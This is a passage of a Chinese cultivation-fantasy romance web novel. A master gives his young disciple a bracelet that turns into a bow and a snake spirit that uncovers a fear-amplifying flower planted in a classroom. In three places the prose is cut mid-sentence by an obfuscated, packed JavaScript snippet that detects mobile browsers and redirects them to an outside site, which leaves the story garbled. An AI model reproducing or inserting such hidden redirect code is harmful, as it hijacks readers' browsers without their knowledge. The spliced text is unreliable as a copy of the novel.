孟清涯看呆了,他从小便喜欢这些亮闪闪、精致又漂亮的东西。容归给他做的那些发饰,每一件都是精心挑选的玉坠和银铃,样式繁复又精巧,戴在发间叮叮当当地响,他喜欢得不得了。 而眼前这只手镯,简直像是照着他的喜好量身打造的一般,完全符合他的审美! “师尊,”孟清涯的声音都变得轻了几分,像是怕惊动了什么似的,“这是给我的?” 容归点了点头,将手镯递到他面前。 孟清涯小心翼翼地接过来,捧在手心里翻来覆去地看。手镯触手温润,一点也不凉,那些镶嵌的宝石在烛光下闪闪烁烁,每转动一个角度就折射出不同的光芒,好看得叫人移不开眼。 “好漂亮……”孟清涯喃喃地说,眼睛亮晶晶的。 容归看着他这副模样,嘴角微微翘起一个极淡的弧度。 “你喜欢就好。” “我非常喜欢!”孟清涯简直爱不释手这个镯子,“不过师尊,这个镯子看着就是耗费了很多心力打造的吧,一定很贵吧?” “没有。”容归淡淡地回答。 而远在大陆南处的大齐王朝,大齐皇帝看着眼前哭哭啼啼的皇后,脸色黑如锅底。 “够了!你在我面前哭也没用,那可是浮渊仙尊,我能不跟他交易吗!” “可是陛下,那个镯子可是历任皇后之物啊!” 11.第十一章 大齐皇后冷笑地站了起来,将容归用来交易镯子的那个盒子甩在地上。 “到底是谁无理取闹啊,如此珍贵之物他拿一个空盒子来交易,这不就明抢吗?” 大齐皇帝也被她吵烦了:“朕从未禁足过你,你可以自己去寒镜山找浮渊仙尊要说法。” 大齐皇后:“……” 大齐皇帝:“我也没禁止你和娘家人通信,实在不行你让你们上清宗派人去也可以。” 大齐皇后:“……” 大齐皇帝:“我就跟你直说了,我打不过他,没能力替你出头,你自己想办法。” 大齐皇后:“……” 大齐皇后拂袖而去,皇帝脸色黑沉的跌坐回龙椅揉了揉眉心。 今日在文武百官面前被聂成双下了面子,难道他心情就很好吗?也不知那浮渊仙尊发什么疯,明明那么多年一直未曾来取过此物,偏偏在他在位期间把那镯子拿走,是成心想和他作对吗? * 孟清涯把手腕举到眼前,翻来覆去地看了好几遍,越看越喜欢,嘴角翘得高高的。 “师尊,你为什么要送我这个镯子啊?”孟清涯歪着头询问,“虽然你以往也送过我很多东西,但这个镯子好像不一样。” 容归点了点头:“确实不一样,若是平常,此物便只是个普通的防御法器,大概能抵挡三次我的全力一击。” 孟清涯闻言一惊,虽然容归说的轻描淡写的,可能抵挡他三次全力一击的防御法器岂是普通二字能形容的? “至于不平常的时候……”容归以灵力化丝,在自己手指上一划,一滴血就滴入了镯子里。 镯子微微闪了几下,孟清涯正好奇地望着呢,容归便趁他注意力都放在镯子上的时候迅速在孟清涯另一只手的食指上小心翼翼地取走了一滴血,以灵力包裹住也滴入了镯子当中。 孟清涯甚至还没来得及反应到疼整个过程便结束了,他眨了眨眼,一时还有些茫然。 血珠落在冰蓝色的镯面上缓缓晕开,顺着符文的纹路一点一点地渗透进去。 银白色的符文光芒忽然亮了几分,与那抹血色交织在一起,变成一种极淡的粉色光芒。 两滴血珠在镯面上相遇,交融,镯面上的光芒骤然亮了起来,将整个寝殿都映得流光溢彩。 孟清涯下意识地闭了一下眼。等他再睁开眼的时候,手腕上的镯子不见了,取而代之的是一把弓。 那把弓静静地躺在孟清涯的掌心里,通体莹白,弓身修长而优美,像是一弯被凝住了的新月。弓身上流转着淡淡的冰蓝色光芒,弓弦细若游丝,轻轻拨动时发出一声极清越的鸣响。 孟清涯彻底呆住了,他那么大一个镯子呢?怎么变成弓箭了? “居然是箭吗……”容归微微垂下眼,掩下眸中一闪而过的情绪。 他想过很多种可能,却从未想过会是弓箭。弓箭手需要敏锐的感知力、精准的判断力以及沉稳的心性,这些与他那个毛毛躁躁又娇又软的小徒弟似乎全然不沾边。 可武器不会骗人,镯子认主之后幻化成的武器便是主人最适合的武器。 “这……”孟清涯的手指轻轻抚过弓身,触感温润如玉,弓身上的冰蓝色光芒随着他的触碰微微闪烁,像是在回应他。 容归:“这只镯子本是……算了,平日里是防身的法器,认主之后便可幻化成主人最适合的武器。” “可是我从未用过弓。”孟清涯把弓箭拿在手里仔细打量了几番。 “我带你去试试。”容归站起身。 * 两人来到后山,孟清涯试着拉了拉弓弦。弦很紧,他用了几分力气才拉开了一点点。 孟清涯有些吃力地松开手,揉了揉手指,却一点也没有气馁,反而更加兴奋了。 “师尊,这个要怎么用?”孟清涯问。 容归站起身来走到他身后。他微微俯身从身后环住孟清涯,一只手握住孟清涯握弓的手,另一只手搭在他拉弦的指尖上。 容归的胸膛贴着孟清涯的后背,温热的体温透过薄薄的衣料传过来。他的下巴几乎抵在孟清涯的发顶,呼吸间带出的热气拂过孟清涯的耳尖,弄得他有些痒。 “弓要握稳,”容归的声音从头顶传来,低沉而清晰,“拉弦的时候不要用蛮力,要用灵力牵引。” 容归握住孟清涯的手指,带着他缓缓拉开弓弦。这一次孟清涯没有感觉到吃力,容归的灵力顺着他的指尖渡过来,温和而绵长,像是有一条看不见的丝线牵引着弓弦,一点一点地往后拉。 弓弦拉开的时候,弓身上的冰蓝色光芒骤然亮了起来,一支由灵力凝聚而成的箭矢出现在弓弦上。 孟清涯屏住了呼吸。 容归带着他的手指微微调整了一下方向,对准了窗外远处的一棵老松。 “松手。”容归说。 孟清涯松开手指。 箭矢破空而出,带着尖锐的啸鸣化作一道冰蓝色的流光直直地射向那棵老松。箭矢穿过树干的时候没有发出任何声响,像是穿过了一块豆腐,树干上留下了一个碗口大的洞,边缘光滑平整。 箭矢没有停,继续往前飞射入远处的山壁之中轰然炸开。碎石飞溅,烟尘弥漫,整个寒镜山都似乎震颤了一下。 孟清涯呆住了。他愣愣地看着远处山壁上那个还在冒烟的大洞,又低头看看自己手里的弓,嘴巴张得大大的,半天合不拢。 “师尊……”孟清涯的声音都变了调,“这、这是我射的?” 容归松开他的手退后一步:“不完全算,以你目前的修为肯定还达不到这个效果,这是因为有我的灵力在。” 孟清涯低头看着手里的弓,忽然觉得它沉甸甸的。他只是轻轻拉开弓弦在师尊的灵力引导下射出方才一箭就能造成这样的破坏。如果他自己修炼到了足够的境界,这把弓在他手里会是什么样子? 孟清涯不敢想。他把弓收起来,弓身在他掌心中光芒一闪,又变回了那只冰蓝色的镯子妥帖地环在他腕间。 孟清涯摸了摸镯子,转过头看着容归。 “师尊,”孟清涯的声音里带着几分认真,“我会好好修炼的。” 容归看着他,眼底漾开一层极淡的笑意,抬手揉了揉孟清涯的发顶,像是在抚摸一只终于肯露出肚皮的小猫。 “嗯。” * 因着容归送的这个礼物,孟清涯的心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382452|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎彻底明朗了起来,全然忘记了下午在学塾内发生的事,就连第二天都是高高兴兴地早早收拾好东西准备去上课。 “水水。” 临走之时,容归的声音从身后传来,让孟清涯的脚步顿了一下。 “师尊?”孟清涯眨了眨眼,有些疑惑,“我要去上课了,再晚该迟到了。” 容归没有回答,走到他面前站定。他微微垂眸看着孟清涯,似乎在斟酌什么。孟清涯被那道目光看得有些发毛,低头检查了一遍自己的衣着打扮,又抬头看着容归。 “可是我今日哪里不妥当吗?” 容归摇了摇头,然后抬起右手。 孟清涯的目光顺着他的动作看过去,这才发现容归的袖口处有什么东西在微微蠕动。一个小小的脑袋从容归的袖中探出来,先是露出一对黑亮亮的眼睛,接着是细长的覆着细小鳞片的脑袋,然后慢吞吞地从容归的袖口爬了出来。 这是一条小蛇。蛇身不过筷子长短,身体细得像是用白玉雕成的丝线,通体莹白剔透,隐隐泛着一层淡淡的银光。它的眼睛是极浅的金色,像两颗小小的琥珀,和容归的眼睛还有些相似,清澈又透亮,看起来一点也不吓人,反倒有几分憨态可掬的模样。 容归伸出手,将那条小蛇递到孟清涯面前。 孟清涯愣了一下,还没来得及开口那条小蛇便已经从容归的手背上探出身子,轻轻一跃落在了孟清涯的手腕上。 小蛇的身体凉丝丝的,触感光滑又细腻,它在孟清涯的手腕上爬了一圈,然后一圈一圈地缠上了那只冰蓝色的镯子。 孟清涯低头看着这一幕,那条小蛇缠在镯子上的姿态十分巧妙。它的身体恰好贴合着镯面的弧度,一圈一圈地盘绕上去,首尾相接,一动不动的时候像是镯子上本来就有的纹饰。 “师尊……”孟清涯抬起头,一脸茫然地看着容归,“这是?” 容归的目光落在他腕间的镯子上,面色平静得像是在说一件再寻常不过的事情。 “带上它,就当是个玩具。” 孟清涯眨了眨眼,没有再追问。师尊送他的东西从来都是顶好的,既然师尊说带上,那带上就是了。 他抬起手腕,用另一只手的指尖轻轻碰了碰小蛇的脑袋。小蛇没有反应,依旧安安静静地缠在那里纹丝不动。 “它叫什么名字?”孟清涯问。 容归沉默了一瞬:“没有名字。” 孟清涯“哦”了一声,又低头看了看小蛇,忽然笑了:“那就叫你小白吧。” 容归:“……你高兴就好。” 安静地目送孟清涯离开后,容归微微垂下眼,掩下眸中那层旁人看不分明的神色。 孟清涯走到传送法阵前,正准备启动法阵的时候,识海里忽然响起一个声音。 “宿主。” “0621?”孟清涯在心里喊了一声。 “是我,”系统0621的声音听起来有些迟疑。 “是发生什么事了吗?” 系统0621沉默了一瞬,似乎在组织语言:“宿主,你手腕上那条蛇我刚才偷偷检测了一下。” “那条蛇的气息和你师尊的数据完全吻合。” 12.第十二章 “我知道啊。”孟清涯非常平静地在脑海中回答。 这下轮到系统0621惊讶了:“啊?你怎么知道的?” “虽然师尊经常嫌小粉聒噪,”孟清涯摸了摸手上安安静静的小白蛇,“但是他也不会无缘无故给小粉找不痛快。” “根据我的检测,这条蛇是你师尊的一缕神魂所化,”系统0621解释道,“你不觉得很恐怖吗?你只是下山去上课而已你师尊都要跟着,我感觉他的黑化值好像又高了。” “不觉得,我还挺喜欢这种感觉的,”孟清涯毫不在意,反而有些享受,“不过你说的那个什么黑化值又高了确实是个问题,容我仔细想想。” 系统0621无奈了,行吧,宿主开心就好。 * 孟清涯走进讲堂的时候,里头已经坐了大半的人。 他的脚步在门槛处顿了一瞬。讲堂里原本有些嘈杂,三三两两的弟子凑在一起说话,可孟清涯一出现那些弟子便像是被人掐住了喉咙,声音骤然矮下去几分。 几道目光从四面八方投过来,有好奇的,有审视的,也有那种让他浑身不自在的小心翼翼的打量。 孟清涯垂下眼径直往里面走,假装没有注意到那些目光。 倒数第二排靠窗的位置,宁尘渊姿态闲适地坐着,面前的矮案上已经摆好了书册和笔墨。他旁边的蒲团空着,显然是刻意留出来的。 而最后一排靠门的位置,云知寒端端正正地坐着,面前摊了一本书册,旁边同样空着一个蒲团。 孟清涯一进门,两个人的目光便同时落了过来。 两道目光,一冷一温,一前一后,直勾勾地落在孟清涯身上。 孟清涯的脚步顿了一下。他看了看宁尘渊,又看了看云知寒,脑子里不由自主地想起昨日宁尘渊说的那句“像啊”,腮帮子微微鼓了一下——像什么像,他一点都不笨! 孟清涯把目光从宁尘渊身上收回来,又看向云知寒。云知寒对上他的视线,微微弯了弯眼睛,侧了侧身子抬手轻轻拍了一下旁边的蒲团,动作自然而熟稔,仿佛他们已经是认识了很久的朋友。 孟清涯抿了抿唇。他也不想跟云知寒坐在一起,这个人身上有一种让他说不清道不明的感觉,明明笑容温和,举止有礼,可那双深黑色的眼睛底下总像是藏着什么东西,让人看不透,也猜不透。 孟清涯把目光从两个人身上收回来,又往讲堂别处扫了一圈。 其他弟子察觉到他的目光纷纷低下头去。有几个离得近的甚至不着痕迹地把自己的蒲团往旁边挪了挪,仿佛靠近他会沾染上什么不得了的东西似的。 孟清涯的睫毛颤了一下,把涌上来的那点委屈压下去。 算了。 他在心里这样想着,然后迈开步子径直走向了讲堂最角落的一个位置。那是一个靠墙的蒲团,可能是因为靠近放杂物的地方,所以旁边没有人坐,安安静静的像是一座孤岛。 宁尘渊见到他的动作,眉头皱得能夹死一只苍蝇。他转过头看着孟清涯,嘴唇动了动似乎想说什么,可孟清涯已经低下头去看书了,压根没有往他这边看的意思。 宁尘渊的眉头皱得更紧了,沉默了片刻转回头去,背脊挺得笔直,浑身上下都透着一股“我不高兴”的气息。 云知寒倒是没有什么反应。他将目光从孟清涯身上收回来嘴角那抹淡淡的笑意依旧挂着,看不出任何失望或是不满。 没过多久,讲堂门口传来一阵脚步声。一个身着青灰色道袍的长老走进来,手里捧着一只白玉花盆,花盆里种着一株他叫不出名字的植物。 植物通体翠绿,叶片细长如柳,叶尖泛着一点银白色的光芒,整株植物大约有一尺来高,在花盆里亭亭玉立,煞是好看。 讲堂里安静下来,众弟子纷纷坐正了身子。 “诸位,”长老似乎是年纪大了,语调有些悠长,“今日的课,我们来认一认灵植。” 他将白玉花盆放在讲台上,微微侧身,让所有人都能看清花盆里的植物。 “此物名为星玄草,是修真界最基础也最常用的灵植之一,”长老说着,手指轻轻点了点那细长的叶片,“这个灵植很特别,你们先自己仔细观察、仔细感受一下,过会我要提问题了。” 长老说完话讲堂里便安静了下来,众弟子纷纷将目光投向讲台上星玄草,有的探头张望,有的闭上眼睛去感受叶片上散发的灵气波动。 孟清涯也坐直了微微侧头往讲台的方向望去。他的位置虽然在角落,但好在眼力不错,隔着几排人也能看清星玄草的大致模样。 星玄草的叶片在晨光中泛着莹润的翠色,叶尖那点银白色的光芒一闪一闪的,像是缀着极小的星星。 讲堂里安安静静的,孟清涯正看得认真,忽然觉得手腕上有什么东西动了一下。 他低头一看,小白蛇不知道什么时候醒了。小蛇原本乖巧地缠在镯子上,可此刻它的小脑袋微微抬了起来,琥珀色的眼睛睁开左右张望了一下,然后缓缓地从镯子上解开来。 孟清涯愣了一下,还没来得及反应,小白蛇已经顺着他的手腕往袖子里钻了。 凉丝丝的鳞片贴着皮肤滑过去,触感光滑又细腻,带着一种说不清道不明的痒意。孟清涯下意识地缩了一下肩膀,可小白蛇已经整个钻进了他的袖口。 孟清涯的呼吸微微一滞。小蛇沿着他的小臂一路往上爬,它的身体细长,鳞片贴着皮肤滑过时带起一阵酥酥麻麻的触感,从手腕蔓延到小臂,又从小臂蔓延到手肘。 孟清涯的耳尖慢慢地红了起来。他从小身上就比别人敏感些,平日磕碰都要疼好久。如今一条凉丝丝的小蛇贴着皮肤往上爬,那股痒意便像是被放大了无数倍,从手臂一路钻到心里去。 小白蛇爬过手肘,顺着上臂继续往上,然后拐了个弯从他的领口处探出了小脑袋。 孟清涯的脸“腾”地一下红了。他下意识地咬住下唇,想把那股越来越盛的痒意压下去。可小白蛇在他领口里又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392222|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了动,尾巴尖无意间扫过脖颈内侧的皮肤…… “嗯……” 一声极轻极细的闷哼从孟清涯的唇缝里溢出来。声音不大,可在安安静静的讲堂里却显得格外清晰。 孟清涯自己也被这声闷哼吓了一跳,连忙捂住嘴,耳尖红得几乎要滴血。 讲堂里的弟子们纷纷转过头来,目光齐刷刷地落在孟清涯身上。可当他们看清楚发出声音的人是孟清涯时,那些目光又飞快地收了回去,仿佛方才什么都没有发生过。 孟清涯脸上一阵红一阵白,窘迫得恨不得找个地缝钻进去。 讲台上的长老也被这声闷哼打断了思绪,浑浊的老眼往孟清涯的方向望过来。他自然认得这位是谁——昨日几位峰主特意交代过浮渊仙尊的亲传弟子孟清涯也要来。关于孟清涯的事,不必多问,不必多管,他想听便听,不想听便随他去。 长老的目光在孟清涯身上停了一瞬,看见那少年红着脸、捂着嘴、一副恨不得把自己藏起来的模样,立刻收回了视线。 孟清涯对上长老的目光心里更窘了。他知道长老是看在自己身份的份上才不追究,可正因为如此他才觉得更加不好意思。 * 孟清涯的识海之中,系统0621的数据流已经开始乱飘了。 啊啊啊啊啊啊啊坏蛇!好///色///蛇!不要脸的老蛇!我家宿主才十八岁啊!十八岁啊!连容归那样古板严肃的人都压不住蛇性本///淫的特质吗? * 寒镜山上,静室之中。 容归盘膝坐在蒲团之上,双目微阖,呼吸绵长而平稳,若非仔细感知,几乎要以为这静室之中坐着的只是一尊栩栩如生的玉像。 可他的眉心,却在不经意间微微蹙了一下。随即,容归的睫毛轻轻颤动了一下,浅珀色的眼睛缓缓睁开。 静室里安安静静的,只有窗外的风声和远处山涧中传来的水声。容归的目光落在虚空之中,没有动。 沉默。 在无尽的沉默里,容归的眉心又蹙了一下,眉宇间浮起一层难以言喻的微妙。 容归抬起手,指尖在膝上轻轻叩了一下。 那条蛇确实是他的一缕神魂所化不假,可他不可能时时刻刻都将精神附着在那缕神魂之上。容归今日的本意不过是让小蛇安安静静地待在孟清涯腕间充当一件防身的器物,顺便探查一下水水昨日为什么会不高兴的回来。 仅此而已。 容归从未想过,那缕脱离了本体掌控的神魂,会做出这等……事来。 他的指尖在膝上又叩了一下,带着几分少见的烦躁。 那条蛇的所作所为,绝对与他本人没有任何关系。神魂虽然源自于他,可在无人掌控的时候它更多的是一段混沌的本能。蛇性喜暖,喜缠绕,喜攀附在温热的物事之上,这与容归本人毫无干系。他活了上万年,行事端方,清正自持,何曾做过这等……这等孟浪之事? 所以绝对跟他本人没有一点关系。 13.第十三章 容归闭了闭眼,将脑海中小白蛇钻进孟清涯领口、孟清涯红着脸捂住嘴的画面用力压下去。 与他无关。 容归在心中又默念了一遍,然后深吸一口气,心念一动他的神识便如一条无形的丝线从眉心处探出,直直地落在了孟清涯领口里的那只小小的蛇躯之内。 神识落定的那一瞬间,容归立刻觉得有什么地方不太对劲。 最先涌上来的是温度。 孟清涯的体温透过那层薄薄的鳞片传过来,温热而柔软。温度从蛇身的每一寸鳞片渗进来,暖融融的,带着一种让人本能地想要蜷缩进去的舒适。 紧跟着温度一起涌上来的是一股香气。香气很淡,淡到若非容归的神识此刻正附着在蛇躯之上与孟清涯的皮肤贴得极近,几乎不可能察觉到。 容归自然认得这股香气。之前在后山练剑时他便从孟清涯身上闻到过这股莲香,那时他未曾多想,现在想来,孟清涯身上这股莲香也有些不对劲。 可让容归的神识骤然绷紧的,并非这股莲香。而是在莲香底下,那一缕难以察觉的幽微气息。 容归的神识在那股气息上扫过,不过瞬息之间便辨认出了它的来历。 缠心花。 此花生于极北苦寒之地,百年才开花一次,花色如血,花瓣细碎如星,平日里无色无味。莫说寻常修士,便是修为高深之人若不刻意探查也极难察觉它的存在。 它不是什么剧毒之物,也不会对人的身体造成任何实质性的伤害。唯一的作用便是将一个人心中本就存在的那一点负面情绪悄无声息地放大。 心中有贪念的人,闻了缠心花便会更贪;心中有嗔念的人,闻了便会更嗔;心中有痴念的人,闻了便会更痴。 缠心花在修真界中算不得什么禁物,毕竟它的功能着实鸡肋而且过于偏门。偏门到大多数修士一辈子都不会听说过这个名字,更遑论辨认。 容归的神识在蛇躯之中安静了片刻,缠心花本无色无味,然而今日讲堂上偏偏出现了星玄草。 星玄草与缠心花放在一起会激发出一阵极其细微的幽香,这才让小蛇察觉到了不对劲。 容归眸色晦暗不明,但很快又恢复如常。他的神识在蛇躯之中缓缓流转,操控着那条小白蛇从孟清涯的领口里探出一点头来。 神识顺着那股幽香一路追踪过去,小白蛇的脑袋微微转动了一下,琥珀色的眼睛望向孟清涯身后那个靠墙的角落,正是放杂物的地方。 小白蛇钻进杂物堆中,里面被下了个小小的禁制,不过这种东西对容归来说不值一提。 它尾巴轻轻一摆,禁制被破开,一株开得正艳的缠心花静静地窝在杂物背后。 蛇瞳微微眯起,容归没有急着销毁缠心花,而是施了个禁制不再让此物的花粉在空气中传播,然后它又爬到了孟清涯身上。 孟清涯没有管小白蛇去做了什么,只等它又安安静静爬回自己身上后才伸出指尖轻轻按了按那条不听话的小蛇。 “你老实一点,”孟清涯用只有自己能听见的声音小声说,语气里带着几分嗔怪,更多的是无可奈何的纵容,“回去再跟你算账。” 容归的本体在静室之中沉默了很久。他面上依旧是那副清冷出尘的模样,看不出任何情绪。可他搭在膝上的手微微蜷缩了一下,像是在忍耐什么。 那条蛇的所作所为,确实与他无关。 可现在,他的神识已经接管了这条蛇。 现在,贴着孟清涯的皮肤、缩在孟清涯锁骨里、感受着孟清涯的体温和心跳的,不是那条只有混沌本能的蛇,而是他容归本人。 容归的指尖又蜷缩了一下。他该把蛇召回来的,可他现在只是安静地待在孟清涯的领口里,一动不动。 孟清涯又开口了。他的声音很小很小,不过容归却把每一个字都听得清清楚楚。 “小白,”孟清涯低着头,用手指轻轻点了点衣领下蛇头所在的位置,带着一点撒娇似的埋怨,“你知不知道你刚才害我丢人了,回去我要告诉师尊,让他好好管管你。” 容归:“……” 容归的神识在蛇躯之中沉默了一瞬,然后悄无声息地将小白蛇的脑袋往孟清涯的衣领里缩了缩,缩到一个不会被任何人看见的安安静静的角落。 他该把神识召回来的,立刻、马上,毕竟方才那件事又不是他做的,是那条蛇做的。 但是……还是再过一会儿。 * 这节课很快结束,长老的身影刚消失在门口,弟子们嗡嗡的说话声一下子冒了出来。 他们三三两两地凑在一起,有的讨论方才课上讲的内容,有的抱怨要写札记太麻烦,有的已经聊起了与课业全然无关的闲话。 整个讲堂热闹得像一锅刚刚烧开的水,咕嘟咕嘟地冒着泡。 可这份热闹,与孟清涯所在的角落毫无关系。 孟清涯把笔搁下,低头看了一眼手腕上的镯子。小白蛇不知道什么时候又缠回了镯子上,安安静静地盘在那里。他伸出指尖轻轻碰了碰小白蛇的脑袋,小白蛇没有动,只是尾巴尖微微翘了一下,像是在回应他。 孟清涯的嘴角翘了翘,心里那股闷闷的感觉散了一些。他坐了一会儿,发现手指上不知何时沾上了几滴墨汁。孟清涯皱了皱鼻子,站起身来准备去外面洗洗手。 他起身的动作不算大,衣袂轻轻拂动了一下,发间的银铃也只发出了一声细碎的轻响。可这一声轻响在嘈杂的讲堂里却不知为何格外清晰。 讲堂里的声音骤然矮了下去。 聚在一起的弟子飞快地分开,各自坐直了身子。 孟清涯的睫毛颤了一下,微微垂下眼装作什么都没有察觉到的样子。动作尽量放得自然,不急不缓地迈出讲堂。 孟清涯走出讲堂,沿着走廊往后面的水房走。走廊里空荡荡的,只有他一个人的脚步声和银铃声,在午后的日光中显得格外寂寥。 他的表情看起来很平静,平静得像是什么都没有发生过,可容归还是察觉了。 * 原来昨日水水回来时不高兴,是因为那些弟子都躲着他。 怕他的身份,怕他的师尊,怕靠近他会惹上什么麻烦。这份怕里没有恶意,却比恶意更让人难受。恶意至少是锋利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397174|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,可以躲,可以挡,可以一刀一刀地还回去。可这种小心翼翼的躲避像是一层厚厚的浸过水的棉花,软绵绵地裹上来,不疼,却闷得人喘不过气。 有这种畏惧很正常。 容归活了几万年,自然知道畏惧这份情感是刻在大多数人的骨子里的本能,不是什么稀罕事。 水水是自己的徒弟,是寒镜山的小主人,是这些普通弟子穷尽一生也够不着的人物,他们怕水水是天性使然。 可若是这份畏惧是被人刻意引导出来的呢? “这种金贵的人可磕碰不得。” “惹不起我还躲不起吗。” 昨日水水回来时虽然没有跟他说那些不愉快的事,可这些言语容归不需要亲耳听到也能猜出个七八分。 这些话说一次是闲聊,说两次是议论,可若是在水水来上课之前就有人刻意地在弟子们中间一遍一遍地传播呢? “你们知道吗,仙尊那个徒弟可金贵了,碰都碰不得。” “听说他在寒镜山上连路都不用自己走,都是仙尊抱着背着。” “要是惹了他不高兴,仙尊一句话就能让你在修真界待不下去。” 这些话不需要说得太直白,只需要在茶余饭后、在课间闲聊时轻描淡写地提上几句。 说得多了,便像是种子一样在人心底生了根。那些弟子甚至不需要亲眼见过孟清涯就已经在心里给他画好了像——一个金贵的、碰不得的、惹不起的娇气存在。 再加上之前他们不过只见过水水一面,那一面当中水水在收徒大典上因为宁尘渊的话晕过去过,四位峰主也都对他客客气气。 这一切都在印证那些传言——这个人确实和他们不一样,确实碰不得,惹不起,最好离得远远的。 容归的眸子微微眯了起来。缠心花绝对是阴谋,若是没有人刻意为之,一株生长在极北苦寒之地的奇花怎么会出现在四脉学塾的杂物堆里? 先是散布传言,让弟子们对水水生出畏惧之心。然后在讲堂里放置缠心花,将弟子们心中本就存在的畏惧无限放大。这些情绪在缠心花的作用下变得越来越强烈,强烈到他们看见水水起身都会下意识地噤声、躲避、缩回自己的壳里。 而那些被放大的畏惧又会反过来影响水水。 水水走进讲堂,发现所有人都在躲他。他坐到哪里,哪里的人就挪开。他起身做什么,所有人的目光就投过来,然后又飞快地移开。 孟清涯就像一座孤岛,被一片名为“畏惧”的海水包围着,四周都是人,却碰不到任何一个。 这些感受在缠心花的作用下被无限放大。他会陷入委屈、难过、自我怀疑的漩涡中,会疯狂反思“我是不是做错了什么?”“我是不是不该来这里?”“他们是不是都很讨厌我?” 这些念头像是藤蔓一样缠绕上来,越缠越紧,越缠越密,将孟清涯那颗本就柔软的心勒出一道一道的痕迹。 容归的指尖在膝上收紧了。这是一个极其精巧的局,散布传言的人甚至不需要亲自做什么,只需要在合适的时机、合适的地点轻轻推上两把。 是谁在害水水? 14.第十四章 孟清涯洗完手,从袖中摸出手帕仔仔细细地把手指擦干。他把手帕收好,抬起头看向铜镜里的自己。 镜子里的少年面无表情,一双眼睛里满是愁绪。 他对着镜子里的自己笑了笑,眼角微微弯起来,露出一小排整齐的牙齿。 “好了,”孟清涯小声说,像是在给自己打气,“还有半个时辰就可以回家了。” 剩下的半个时辰过得比想象中快。 孟清涯飞快地收拾好东西,把书册叠好塞进储物戒指里站起身往外走。经过宁尘渊身边的时候宁尘渊抬起头看了他一眼,似是有话想说。孟清涯没有看他,径直走了过去。 * 传送法阵的光芒闪了一瞬,孟清涯抬起头便在几步之外看见了容归。 孟清涯弯起眼睛笑了笑:“师尊!” “师尊,你怎么又来接我了?”孟清涯的声音脆生生的,带着一点明知故问的小得意。 容归自然知道他想听什么,便回答道:“因为没有见到水水的时候师尊茶饭不思、心神不宁。” “这还差不多。”孟清涯满意的点了点头,主动牵起容归的手往回走。 “水水,”容归忽然开口,“有样东西给你。” 孟清涯的眼睛瞬间亮了起来,整个人都精神了,眼巴巴地望着他:“什么什么?” 容归抬手,从袖中取出一只香囊。那只香囊做得极为精致,用的是月白色的锦缎,上面绣着缠枝莲纹,针脚细密,纹样雅致。 孟清涯的目光一下子就被吸引住了。他伸手接过来,香囊入手轻飘飘的,有一股淡淡的清香从里面透出来。 “好漂亮……”孟清涯喃喃地说,把香囊举到鼻尖闻了闻,“师尊,这是什么香?” “安神用的,”容归说,“带着便好。” 里面放的其实是缠心花的解药。下午的时候容归想了很久,该不该把这件事告诉水水? 最后容归还是决定先按兵不动。一来是为免打草惊蛇,想出这种损招的背后之人尚在暗处,若是告诉水水真相,他心性单纯,不懂得遮掩自己的情绪,被暗处那人发现了不对劲狗急跳墙可怎么办? 容归有一种强烈的直觉,上辈子孟清涯的死背后一定有天大的阴谋,而这个缠心花说不定就是其中的一环,暂时不能轻举妄动。 二来即便是因为缠心花所激发出来的,可那些畏惧的情绪是本来就有的。明明他们年龄相仿,水水又是如此招人疼惜之人,他与那些新弟子本该成为朋友,偏偏因为有自己这层原因在,那些人不敢跟水水相处。 自从做了那个噩梦之后,容归除了下定决心一定要好好保护水水之外,也时常在质疑自己。 他本就是一个无欲无求,对自己的性命都不见得有多珍惜的冷漠怪物。可孟清涯尚且年轻,尚在大好年华,还未见过这世间的诸多风景,就这样被自己一直困于小小的寒镜山,真的好吗?自己是不是应该适当放手一点? 可一想到孟清涯会离自己而去,身边会有新的朋友,甚至爱人占据自己的位置,容归的心就忍不住往下沉,暴虐的情绪疯狂增长。 * 孟清涯点了点头,把香囊系在腰间,低头看了看,满意地拍了拍。 他抬起头望着容归,嘴角翘得高高的,带着一点撒娇似的调侃。 “师尊,你最近怎么天天送我东西呀?昨天是镯子,今天是香囊,明天是不是还有别的?”孟清涯歪了歪头笑着说,“你是想每天都送我一个礼物吗?” 他说这话的时候语气轻快,带着几分玩笑的意味,露出一副“我就知道师尊最疼我了”的得意小表情。 “并无不可。”容归平静地说。 孟清涯愣了一下,然后“扑哧”一声笑了出来,整个人往容归怀里倒过去,笑得肩膀都在抖。 “师尊你说话也太好笑了,”孟清涯笑得眼泪都快出来了,“什么叫‘并无不可’啊,你还真打算天天送我礼物呀?” 